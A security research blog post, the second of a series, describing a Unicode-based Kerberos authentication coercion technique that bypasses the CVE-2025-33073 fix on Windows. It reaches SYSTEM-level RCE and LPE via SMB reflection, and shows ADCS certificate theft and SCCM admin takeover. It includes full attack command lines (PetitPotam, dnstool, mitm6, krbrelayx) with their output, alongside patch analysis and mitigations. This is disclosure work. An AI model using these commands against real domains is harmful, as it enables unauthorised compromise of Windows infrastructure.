Bypassing Windows authentication reflection mitigations for SYSTEM shells - Part ②
In part 1 of this blogpost series, we proved our initial theory that the patch for CVE-2025-33073 was insufficient, by disclosing a trivial NTLM reflection vulnerability leading to LPE.
In this second part, we turn to Kerberos and explain how we achieved a full-blown RCE primitive as a domain user, via a completely novel Kerberos authentication coercion technique that abuses discrepancies in how different Windows components handle Unicode characters.
Our research finally puts an end to authentication reflection vulnerabilities targeting the SMB service. That said, this vulnerability class is not dead yet.
Vous souhaitez améliorer vos compétences ? Découvrez nos sessions de formation ! En savoir plus
Introduction
In part 1, we laid the foundation of our bypass methodology and identified two attack lines:
- LPE via localhost coercion.
- RCE via an arbitrary Kerberos authentication coercion primitive (an alternative to the CMTI trick).
The first attack path was successfully demonstrated by abusing a new feature added in Windows 11 24H2 and Windows Server 2025: the ability to mount SMB shares on arbitrary TCP ports. This research led to CVE-2026-24294. With these results in hand, we moved on to finding an alternative to the CMTI trick.
First, we will start by looking at existing Kerberos authentication primitives and how we tried to adapt them to our use case. Attack scenarios will be discussed, with both total and partial control of DNS. The attack vector will be progressively refined toward our goal: a novel Kerberos authentication coercion technique that allowed us to completely bypass the patch of CVE-2025-33073. We will then dive into how this vulnerability was short-lived and unintentionally patched. Eventually, our generic methodology will once again be applied to transform it into a privilege escalation vulnerability. The final sections will cover the patch analysis, as well as our thoughts on the current state of authentication reflection vulnerabilities (with a little bonus at the end!).
Kerberos reflection
Kerberos reflection via DNS secure updates
We began this research by trying to reuse existing Kerberos authentication coercion methods. My colleague @croco_byte had actually already tried to perform Kerberos reflection by using DHCPv6 poisoning and DNS relay via secure DNS updates. He told me it did not work though, and I got curious as to why. When trying to reflect the Kerberos DNS authentication from the target machine to its SMB service, the latter indeed responds with the STATUS_ACCESS_DENIED SMB error:
# mitm6 -d AD.LOCAL --relay SRV1.AD.LOCAL
IPv6 address fe80::5834:1 is now assigned to mac=80:f4:a8:58:3b:82 host=SRV1.AD.LOCAL. ipv4=
Sent SOA reply
Dynamic update found, refusing it to trigger auth
# krbrelayx.py -t smb://SRV1.AD.LOCAL
[*] DNS: Client sent authorization
impacket.smb3.SessionError: SMB SessionError: STATUS_ACCESS_DENIED({Access Denied} A process has requested access to an object but has not been granted those access rights.)
It turns out the SMB service performs some checks on the received AP-REQ when it detects local authentication is happening. More specifically, it ensures the service class of the sname of the service ticket is CIFS. The check is implemented in srvnet!SrvAdminCheckSpn. If not, it also checks if the sname is included in the allowlist retrieved from the HKLM\System\CurrentControlSet\Services\LanmanServer\Parameters\SrvAllowedServerNames registry value. If both checks fail, the SMB service returns error STATUS_ACCESS_DENIED.
The check can therefore be artificially bypassed by adding the DNS/SRV1.AD.LOCAL SPN into the allowlist. Performing the reflection again yields the following new error:
# krbrelayx.py -t smb://SRV1.AD.LOCAL
[*] DNS: Client sent authorization
[-] DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
This error is due to the relayed identity: the DNS client, implemented in the DnsCache service, runs as NT AUTHORITY\NETWORK SERVICE. It means that even though the reflection is working, the relayed SMB session is not privileged. Either way, this attack vector would not work. Still, it motivated me to keep parts of this attack scenario.
Manual Kerberos reflection with complete DNS control
Both previous restrictions can be easily handled by manually coercing the machine instead of abusing secure DNS updates:
- The
snameof the service ticket in the AP-REQ will be SMB instead of DNS - The coerced service becomes LSASS, which runs as
NT AUTHORITY\SYSTEM
The idea was simple: with full control of the machine's DNS configuration via DHCPv6 poisoning, coerce the SRV1 server into authenticating to SRV1.AD.LOCAL. As its DNS server is under our control, SRV1.AD.LOCAL can be resolved to our controlled relay server, which will receive the Kerberos AP-REQ and relay it back to the machine. Yet nothing happened: the machine did not even issue a DNS request.
This behaviour is expected: the DnsCache service does not issue a DNS request if the target name equals the hostname or the FQDN (Fully Qualified Domain Name) of the machine, which is quite logical. We therefore have the following constraints:
- The target name must be different from the machine name, so that a DNS request is performed.
- The retrieved AP-REQ must contain a valid service ticket for the SMB service of
SRV1.
Several techniques were tried until a breakthrough occurred with the following target name:
By replacing the R with a Unicode equivalent: Ⓡ (hex: 24 C7), the reflection worked!
$ PetitPotam.py -u user -p user SⓇV1.AD.LOCAL SRV1.AD.LOCAL
[...]
[+] Attack worked!
# mitm6 -d AD.LOCAL -r SRV1.AD.LOCAL
[...]
Sent spoofed reply for sⓡv1.ad.local. to fe80::7fab:def8:f351:9b98
# krbrelayx.py -t smb://SRV1.AD.LOCAL -c whoami
[...]
[*] SMBD: Received connection from 192.168.62.10
[*] Executed specified command on host: srv1.ad.local
nt authority\system
The same behaviour was also observed with other Unicode variants such as ℝ, ᴿ, Ŕ, etc.
As can be seen in the above traces, a DNS request was issued by SRV1 for SⓇV1.AD.LOCAL and the Kerberos authentication was received on our relay server and successfully reflected back to the originating machine. A small patch was done in krbrelayx.py so that it relays the AP-REQ even if the target name does not exactly match.
As Windows has a long history of weird behaviours with Unicode, we actually expected good results from fiddling with such characters. That said, the following result was unexpected:
This network capture illustrates the AP-REQ that was received by our relay server and displays something interesting: the service ticket sname contains the Unicode character. Two facts can be inferred from this:
- No normalization was done by the client on the SPN before sending the TGS request. Additionally, it means that a normalization is performed at some point by the domain controller when it searches for the requested SPN.
- The reflection succeeded, therefore the SMB service accepted our ST (Service Ticket). It means that little to no check is performed by the SMB service on the hostname part of the
snamefield in the service ticket.
Search in NTDS
As a reminder, all the Active Directory domain data is stored in the ntds.dit database, which uses the ESE format (formerly named Jet Blue). This database format is based on B-trees for fast operations and optimized disk access. For efficient retrieval, search keys are generated from the data to search. They are opaque binary arrays that can be compared with memcmp for relative ordering. Search keys are built via the esent!JetMakeKey function. Under the hood, it uses the kernel32!LCMapStringEx function to build a sort key, which is then used as the search key when searching in NTDS.
LCMapStringEx can be used for various purposes, such as converting a string into another (e.g. convert to lowercase). Windows is mostly case-insensitive, which means that searching must be efficient, independently of the case. By specifying the LCMAP_SORTKEY flag, it can also be used to generate a sort key. When doing so, several normalization flags (NORM_IGNORECASE, NORM_IGNOREWIDTH, etc.) can be added so that different strings map to the same sort key. For instance, the sort keys generated for "srv1" and "SRV1" with no specific normalization are different:
LCMapStringEx("srv1", LCMAP_SORTKEY)
!=
LCMapStringEx("SRV1", LCMAP_SORTKEY)
However, the sort keys built from the same strings match when using the NORM_IGNORECASE flag:
LCMapStringEx("srv1", LCMAP_SORTKEY | NORM_IGNORECASE)
==
LCMapStringEx("SRV1", LCMAP_SORTKEY | NORM_IGNORECASE)
When the domain controller builds a search key for an SPN, it calls LCMapStringEx with the following flags (0x31403):
LCMAP_SORTKEYNORM_IGNORECASENORM_IGNOREKANATYPENORM_IGNORENONSPACENORM_IGNOREWIDTHSORT_STRINGSORT
As it happens, the sort keys generated from "SRV1" and "SⓇV1" are equal when using the previous normalization flags!
LCMapStringEx("SRV1", 0x31403)
==
LCMapStringEx("SⓇV1", 0x31403)
It entails that the associated constructed SPNs also map to the same sort key. Therefore, a TGS request for CIFS/SⓇV1 returns an ST for the SRV1$ machine account. All we need to do is register the SⓇV1 DNS record to build an arbitrary Kerberos authentication coercion primitive: the IP address will point to our relay server while the ST will be valid for the SRV1$ machine account. Or is it really this simple?
$ dnstool.py [...] -a add -r SⓇV1 -d 192.168.62.80 192.168.62.10
[...]
[!] Record already exists
As a matter of fact, before a DNS record is added, the LDAP service checks it does not already exist, and it is searched exactly like an SPN: by constructing a search key with LCMapStringEx and 0x31403 as normalization flags. Thus, the SⓇV1 DNS record collides with the already existing SRV1 DNS record, which prevents it from being created. We now have an additional constraint: the new DNS record must be mapped to a different sort key than the already existing DNS record while the constructed SPN must match one of the SPNs of the machine account.
Arbitrary Kerberos authentication coercion primitive
By default, machine accounts come with two sets of SPNs:
- Variations of the hostname of the machine:
HOST/SRV1,TERMSRV/SRV1, etc. - Variations of the FQDN of the machine:
HOST/SRV1.AD.LOCAL,TERMSRV/SRV1.AD.LOCAL, etc.
As seen previously, variations of the hostname of the machine are a dead end, because if the constructed SPN matches one of the machine SPNs, it implies that the DNS record will collide with the machine DNS record. But would it be possible to build a DNS record based on the FQDN of the machine? Well, you may already have guessed it, but the solution is also Unicode!
By replacing the dots with Unicode equivalents: "․" (in hex: 20 24), we are able to create a valid DNS record:
- Whose constructed SPN maps to the same sort key as the SPN of the form
SERVICE_CLASS/SRV.AD.LOCAL. - That does not conflict with the
SRV1DNS record.
Yet nothing happened when coercing SRV1 to authenticate to SRV1․AD․LOCAL (with Unicode dots):
$ dnstool.py [...] -a add -r SRV1․AD․LOCAL -d 192.168.62.80 DC1
[+] LDAP operation completed successfully
$ PetitPotam -u user -p password SRV1․AD․LOCAL SRV1.AD.LOCAL
Why don't we receive any connection? Well, once again this is because of the DnsCache service. As said previously, it does not issue a DNS request if it detects that the target is its own machine. But how does it actually compare both strings? In our case, the target does not exactly match the machine FQDN so it should not be a problem.
Interestingly, it uses the kernel32!CompareStringW function, which is far from being a simple memcmp equivalent. It is actually quite similar to the LCMapStringEx function as it also accepts normalization flags (NORM_IGNORECASE, NORM_IGNOREWIDTH, etc.). The CompareStringW function is called by the DnsCache service in the dnsapi!Query_MatchAndGetLocalMachine function with just NORM_IGNORECASE as normalization flag. Contrary to expectations, the function considers the two strings with different dots as equal:
CompareStringW("SRV1․AD․LOCAL", "SRV1.AD.LOCAL", NORM_IGNORECASE)
==
CSTR_EQUAL
It explains why the DnsCache service does not issue a DNS request. Our goal is therefore to make this check fail so that a DNS request is made, and the client connects to our relay server. Experimenting with this function surfaced an interesting result:
CompareStringW("SⓇV1", "SRV1", NORM_IGNORECASE)
!=
CSTR_EQUAL
At this point, you already know what is coming:
By combining all the previous Unicode characters, we are able to bypass all the constraints to finally build a new arbitrary Kerberos authentication coercion primitive:
$ dnstool.py [...] -a add -r SⓇV1․AD․LOCAL -d 192.168.62.80 DC1
[+] LDAP operation completed successfully
$ PetitPotam -u user -p password SⓇV1․AD․LOCAL SRV1.AD.LOCAL
# krbrelayx.py -t smb://SRV1.AD.LOCAL -c whoami
[...]
[*] SMBD: Received connection from 192.168.62.11
[*] Executed specified command on host: srv1.ad.local
nt authority\system
This new technique allows for a complete bypass of the fix of CVE-2025-33073 and results in authenticated RCE once again! We reported this vulnerability to MSRC on the 5th of October 2025, a few days before the October Patch Tuesday...
Unintentional fix and LPE
CVE-2025-58726
The October Patch Tuesday had a little surprise for us: relaying the Kerberos AP-REQ resulted in a STATUS_ACCESS_DENIED SMB error:
# krbrelayx.py -t smb://SRV1.AD.LOCAL -c whoami
[...]
[*] SMBD: Received connection from 192.168.62.11
[-] SMB SessionError: 0xc0000022 - STATUS_ACCESS_DENIED - {Access Denied} A process has requested access to an object but has not been granted those access rights.
Upon investigating this behaviour, we found out it was due to CVE-2025-58726. It is a variant of CVE-2025-33073 but with a much bigger prerequisite:
- Either a ghost SPN must be defined on the machine.
- Or one should have the ability to add an SPN to the target machine account.
The patch for CVE-2025-58726 is located in the SMB service (the srv2.sys kernel driver) and is rather straightforward: if local authentication is happening, then the SMB connection must come from a local IP address. Using our previous methodology, we ended up with the following ideas:
Similarly to the patch of CVE-2025-33073, the mitigation only concerns the SMB protocol. We thought of targeting other services such as RPC, HTTP or MSSQL but none of them were suitable relay targets because of integrity enforcement or non-default configuration. Two ideas seemed promising:
- Confuse the SMB service so that it does not infer that local authentication is occurring.
- Relay the authentication from a local IP address. It would result in LPE only, but it fits our criteria.
Bypass failed attempt
Obviously, the local authentication confusion idea was first considered. The srv2!Smb2ValidateLoopbackAddress function was added by the patch. It is called in srv2!Smb2ExecuteSessionSetupReal after authentication succeeds. It first checks if the server context contains the SECPKG_ATTR_IS_LOOPBACK attribute. If so, it verifies the source IP address of the SMB connection is a local IP address in the newly added srvnet!SrvNetIsAddressLoopback. As it appears difficult to spoof a local IP address, the only viable attack line would be to prevent the SECPKG_ATTR_IS_LOOPBACK attribute from being added to the server context.
The Kerberos authentication package implements a detection mechanism for loopback authentications. It closely resembles the mechanism used to remember the client identity during Kerberos local authentication. When the client part of the Kerberos authentication package creates an AP-REQ, it generates a random subkey that it includes in the AP-REQ. It also stores it in a global list in LSASS in the kerberos!KerbLoopback::RememberClient function. When the server part of the Kerberos authentication package receives the AP-REQ, it retrieves the subkey and compares it with all the entries of the global list via the kerberos!KerbLoopback::KeyCompare function. If a match is found, the 0x20000 value (which indicates a local authentication) is added to the server context.
Our idea was to remove the subkey entry before sending the AP-REQ back to the machine, so that the service would not detect that a local authentication is happening. The subkey list has no fixed size, so it does not seem possible to overwrite old entries with newer ones. The only time a subkey is removed from the list is when its lifetime has expired. In addition, the removal happens only when another subkey is added to the list. Yet a subkey lifetime is twice as long as the authenticator (inside the AP-REQ) validity time, which means the authenticator will always expire before its associated subkey, thus closing this attack line.
Kerberos loopback LPE
Eventually, we moved on to the last idea: relaying the AP-REQ from a local IP address to locally elevate privileges on the target. Starting from a low-privilege shell on the machine, the idea is to establish a connection to the attacker machine (with a reverse SOCKS for example, to avoid being blocked by the local firewall) and use it to forward the AP-REQ to the target machine through a local forwarder. The complete workflow to elevate privileges on SRV1.AD.LOCAL is therefore:
- Register the
SⓇV1․AD․LOCALDNS record and make it point to the attacker machine. - On the target machine, start a local forwarder and make it establish a TCP connection to the attacker machine.
- Coerce SRV1 into authenticating to
SⓇV1․AD․LOCAL. - Receive the AP-REQ on the attacker relay server and send it to the forwarder.
- Locally forward the AP-REQ to the built-in SMB service of the machine to obtain a privileged SMB session.
The attack is illustrated below:
This vulnerability was assigned CVE-2026-26128 and was patched in March 2026 Patch Tuesday. This attack scenario (reflection to SMB) works by default on all Windows versions except Windows 11 24H2 because SMB signing is enforced.
Patch analysis
The previous vulnerability and this one were both fixed with the same patch. A check was added in the srv2!Smb2ExecuteNegotiateReal function of the SMB service:
NTSTATUS Smb2ExecuteNegotiateReal([...]) {
[...]
if (Smb2SigningRequiredForLoopback && SrvNetIsConnectionLoopback([...])) {
Response->SecurityMode |= NEGOTIATE_SIGNING_REQUIRED
}
[...]
}
During the security settings negotiation phase between the client and the server, the latter checks the value of the srv2!Smb2SigningRequiredForLoopback global variable and whether the SMB connection comes from a local IP address. If both are true, the server enforces integrity of the communications. From now on, all SMB local connections must therefore be signed.
The srv2!Smb2SigningRequiredForLoopback global variable is retrieved from a registry value (HKLM\System\CurrentControlSet\Services\LanmanServer\Parameters\RequireSecuritySignatureForLoopback). Obviously, the default value is 1 but setting it to 0 re-introduces the vulnerabilities and makes them exploitable again.
Authentication reflection attacks targeting the SMB service now seem definitely fixed (at least in the default configuration).
Bonus
However, once again, the patch only addresses one specific service (SMB). What about other services? Well, they are still vulnerable! HTTP services are a particular concern because they are vulnerable by default as no integrity mechanism is implemented. There have been recent improvements regarding channel binding enforcement on HTTPS services, but some still lack this protection.
Two infamous HTTP(S) services that can lead to domain compromise can still be exploited through Kerberos reflection (or relay): the ADCS web enrolment service and the SCCM AdminService.
ADCS web enrolment
The ADCS web enrolment service is an HTTP service on which users can request and retrieve a certificate. It has been a valuable authentication relay target ever since SpecterOps' research. If NTLM is denied on the endpoint, the arbitrary Kerberos authentication primitive can be used to compromise the ADCS server via reflection (or another machine via relay):
$ PetitPotam.py -u user -p password 'SⓇV1․AD․LOCAL' 192.168.62.10
[...]
[+] Attack worked!
# krbrelayx.py -t http://SRV1.AD.LOCAL/certsrv/certfnsh.asp --adcs -smb2support -v 'SRV1$'
[...]
[*] Servers started, waiting for connections
[*] SMBD: Received connection from 192.168.62.10
[*] HTTP server returned status code 200, treating as a successful login
[*] Generating CSR...
[*] CSR generated!
[*] Getting certificate...
[*] Skipping user SRV1$ since attack was already performed
[*] GOT CERTIFICATE! ID 16
[*] Writing PKCS#12 certificate to ./SRV1.pfx
[*] Certificate successfully written to file
To protect against any relay attack on the web enrolment service, the HTTP connector must be disabled and channel binding must be enforced on the HTTPS service.
SCCM AdminService
The AdminService is an HTTPS service exposed by the SMS provider that communicates with the database service to manage an SCCM infrastructure. It is also notoriously vulnerable to authentication relay. One particular detail about this service is that it does not support channel binding. To prevent NTLM relay scenarios, the service rejects NTLM authentication starting from version 2509.
The new Kerberos authentication coercion primitive presented in this blogpost revives and improves this technique. Any SCCM installation can therefore be compromised by default with just a standard user account:
- Via Kerberos reflection if the primary site server hosts the SMS provider.
- Via Kerberos relay if the SMS provider is hosted on a different server than the primary site server.
$ PetitPotam.py -u user -p user SⒸCM1.AD.LOCAL SⒸCM1.AD.LOCAL
[...]
[+] Attack worked!
# krbrelayx_sccm_poc.py -t https://SCCM1.AD.LOCAL/AdminService/wmi/SMS_Admin -smb2support --adminservice --logonname "AD\lowpriv" --displayname "AD\lowpriv" --objectsid S-1-5-21-4178844766-85253254-2385978509-1126
[*] SMBD: Received connection from 192.168.62.12
[*] Authenticating against SCCM1.AD.LOCAL as AD/SCCM1$
[*] Adding administrator via SCCM AdminService...
[*] Server returned code 201, attack successful
$ sccmhunter.py admin -k -u lowpriv -p lowpriv -ip SCCM1.AD.LOCAL -dc 192.168.62.10 -d AD.LOCAL
() (C:\) >> show_admins
INFO Tasked SCCM to list current SMS Admins.
WARNING CCache file is not found. Skipping...
INFO Current Full Admin Users:
INFO AD\odin
INFO AD\lowpriv
Kerberos relay or reflection should also work on the MSSQL service, but it was not tested.
To following measures can be applied to protect SCCM services from relay attacks:
- SMB: Enforce SMB signing on all the machines of the SCCM infrastructure.
- MSSQL: Enforce channel binding on all the exposed instances. In addition, restricting network access to these services is a good security measure.
- AdminService: this one is trickier. To our knowledge, there is currently no way to enforce channel binding on this service. Therefore, restrict network access to this service as much as possible. Additionally, restrict network flows coming from the primary site server (to prevent it from sending authentication material to the attacker server). Restricting RPC calls used for authentication coercion can also be a good idea.
More generally, any service which does not enforce communications integrity could potentially be compromised through Kerberos reflection, as the relayed identity is NT AUTHORITY\SYSTEM. It is likely that several non-default services installable through Windows roles are vulnerable, as long as they accept Kerberos authentication.
Conclusion
This article concludes our research on authentication reflection. We disclosed a new arbitrary Kerberos coercion technique that led to a complete bypass of the patch of CVE-2025-33073. This short-lived RCE was then transformed into a universal LPE attack.
Through this research, we demonstrated that this attack vector still poses a serious threat to Windows systems. Even though the demonstrated LPE was addressed, other services remain vulnerable. Authentication relay (or reflection) attacks will persist as long as integrity mechanisms are not enforced by default on Windows services. From a defensive perspective, when possible, enforce all available integrity and confidentiality mechanisms for all protocols, and apply strict network filtering.